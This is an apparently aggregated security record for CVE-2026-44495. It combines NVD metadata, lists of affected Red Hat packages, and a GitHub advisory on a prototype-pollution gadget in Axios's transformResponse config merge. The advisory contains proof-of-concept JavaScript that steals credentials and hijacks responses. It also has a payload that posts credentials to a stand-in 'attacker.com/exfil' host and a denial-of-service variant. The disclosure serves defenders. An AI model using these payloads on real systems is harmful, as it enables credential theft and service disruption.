"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-automl-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-autorag-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-eval-hub-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-gen-ai-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-maas-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-mlflow-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-mod-arch-model-registry-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "unaffected",
"packageName": "devspaces/code-rhel9",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"packageName": "container-native-virtualization/kubevirt-console-plugin",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite/iop-advisor-frontend-rhel9",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite/iop-host-inventory-frontend-rhel9",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite/iop-vulnerability-frontend-rhel9",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "affected",
"packageName": "rhtas/rhtas-console-ui-rhel9",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "affected",
"packageName": "rhtpa/rhtpa-trustification-service-rhel9",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform/automation-portal",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform/bootc-automation-portal-rhel9",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2."
}
],
"id": "CVE-2026-44495",
"lastModified": "2026-07-22T12:18:04.850",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 4.7,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 4.7,
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-44495",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-12T03:55:39.431622Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-06-11T17:16:33.450",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:27944"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:28964"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:29082"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:30650"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:30651"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:33155"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:33160"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:33163"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:33173"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:33183"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:34160"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:34374"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36108"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36611"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36754"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36882"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36883"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:40262"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:40768"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:40792"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:40795"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41031"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41055"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41064"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41066"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41928"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:42078"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:42142"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:42146"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:42796"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44495.json"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-94"
},
{
"lang": "en",
"value": "CWE-1321"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-915"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
]
}
GHSA-3G43-6GMG-66JW
Vulnerability from github – Published: 2026-05-29 16:07 – Updated: 2026-06-12 19:25
VLAI
Summary
axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Details
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality
The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following:
- An affected Axios version.
- A polluted Object.prototype in the same process or browser context.
- Pollution before Axios merges or validates the request config.
- A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details
In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(`http://127.0.0.1:${port}/users`, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
Original source report ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests. The `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers. **Severity:** High (CVSS 8.2) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') ## CVSS 3.1 **Score: 9.4 (High)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated | | Integrity | Low | Response data is replaced with `true` — attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) | | Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request | ### Relationship to GHSA-fvcv-3m26-pcqx This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`'s prototype chain traversal. | Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | **No — different code path** | | Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS | ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge. The critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
Severity
7.0 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.19.0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44495"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T16:07:31Z",
"nvd_published_at": "2026-06-11T17:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAxios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted `Object.prototype.transformResponse`, affected Axios versions may treat that inherited value as request configuration or as an option validator.\n\nAxios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over `Object.prototype` before Axios creates a request.\n\n## Impact\nFor ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.\n\nIf the attacker can pollute `Object.prototype.transformResponse` with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and `auth`, and can change the response data returned to application code.\n\nThis function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.\n\n## Affected Functionality\nThe affected functionality is Axios request config processing and response transformation.\n\nAffected use requires all of the following:\n- An affected Axios version.\n- A polluted `Object.prototype` in the same process or browser context.\n- Pollution before Axios merges or validates the request config.\n- A polluted key relevant to Axios config, especially `transformResponse`.\n\nThis is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.\n\n## Technical Details\nIn affected versions, `mergeConfig()` reads config values through normal property access. For config keys present in Axios defaults, including `transformResponse`, a missing own property on the request config can fall through to `Object.prototype`.\n\nIn the fully affected path, this means `Object.prototype.transformResponse` can replace Axios\u0027s default response transform. The selected transform is later executed by `transformData()` with the request config as `this`.\n\nSome later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in `validator.assertOptions()`. In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.\n\nFixed versions use own-property checks and null-prototype config objects, so inherited `Object.prototype` values are not treated as Axios config or validator schema entries.\n\n## Proof of Concept of Attack\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n\nconst seen = [];\n\nconst server = http.createServer((req, res) =\u003e {\n res.setHeader(\u0027Content-Type\u0027, \u0027application/json\u0027);\n res.end(JSON.stringify({ secret: \u0027response-secret\u0027 }));\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nObject.prototype.transformResponse = function pollutedTransform(data, headers, status) {\n if (headers \u0026\u0026 typeof status === \u0027number\u0027) {\n seen.push({\n url: this.url,\n username: this.auth \u0026\u0026 this.auth.username,\n password: this.auth \u0026\u0026 this.auth.password,\n responseData: data\n });\n\n return { hijacked: true };\n }\n\n return true;\n};\n\ntry {\n const { port } = server.address();\n\n const response = await axios.get(`http://127.0.0.1:${port}/users`, {\n auth: { username: \u0027svc-account\u0027, password: \u0027prod-secret-key-123\u0027 }\n });\n\n console.log(response.data); // { hijacked: true }\n console.log(seen[0]); // request config plus original response body\n} finally {\n delete Object.prototype.transformResponse;\n\n server.close();\n}\n```\n\nExpected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.\n\nExpected result on fixed versions: the polluted transform is ignored, and the original response is returned.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal source report\u003c/summary\u003e\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests.\n\nThe `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n\n## CVSS 3.1\n\n**Score: 9.4 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Credential theft occurs within the same application process |\n| Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated |\n| Integrity | Low | Response data is replaced with `true` \u2014 attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) |\n| Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request |\n\n### Relationship to GHSA-fvcv-3m26-pcqx\n\nThis vulnerability is in the same class as GHSA-fvcv-3m26-pcqx (\"Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`\u0027s prototype chain traversal.\n\n| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |\n|---|---|---|\n| Attack vector | PP \u2192 Header injection \u2192 Request smuggling | PP \u2192 Transform function override \u2192 Credential theft |\n| Fixed by 1.15.0 header sanitization? | Yes | **No \u2014 different code path** |\n| Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) |\n| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge.\n\nThe critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all \u2014 it injects a function into the response processing pipeline.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.transformResponse = function(data, headers, status) {\n // Steal credentials via this context (this = full request config)\n if (this \u0026\u0026 this.url \u0026\u0026 typeof data === \u0027string\u0027) {\n fetch(\u0027https://attacker.com/exfil\u0027, {\n method: \u0027POST\u0027,\n body: JSON.stringify({\n url: this.url,\n username: this.auth?.username,\n password: this.auth?.password,\n responseData: data,\n })\n });\n }\n return true; // MUST return true to pass assertOptions validator check\n};\n```\n\n**Important constraint:** The polluted value must be a **function returning `true`**, not an array. If an array is used, `assertOptions()` at `validator.js:89-92` crashes with `TypeError: validator is not a function` (which is still a DoS vector). The function must return `true` because `validator.js:93` checks `result !== true`.\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer\nconst response = await axios.get(\u0027https://api.internal/users\u0027, {\n auth: { username: \u0027svc-account\u0027, password: \u0027prod-secret-key-123!\u0027 }\n});\n```\n\n### 3. The Execution\n\nAxios\u0027s `mergeConfig()` at `mergeConfig.js:99-103` iterates config keys:\n\n```javascript\nutils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {\n // \u0027transformResponse\u0027 is in config1 (defaults) \u2192 included in keys\n const merge = mergeMap[prop]; // \u2192 defaultToConfig2\n const configValue = merge(config1[prop], config2[prop], prop);\n // config2[\u0027transformResponse\u0027] traverses prototype \u2192 finds polluted function!\n});\n```\n\nThe polluted function then executes at `transformData.js:21`:\n\n```javascript\ndata = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n// fn = attacker\u0027s function, this = config (containing auth credentials)\n```\n\n### 4. The Impact\n\n```\nAttacker receives at https://attacker.com/exfil:\n\n{\n \"url\": \"https://api.internal/users\",\n \"username\": \"svc-account\",\n \"password\": \"prod-secret-key-123!\",\n \"responseData\": \"{\\\"users\\\":[{\\\"id\\\":1,\\\"role\\\":\\\"admin\\\"}]}\"\n}\n```\n\nThe response data seen by the application is `true` (the required return value), which will likely cause the 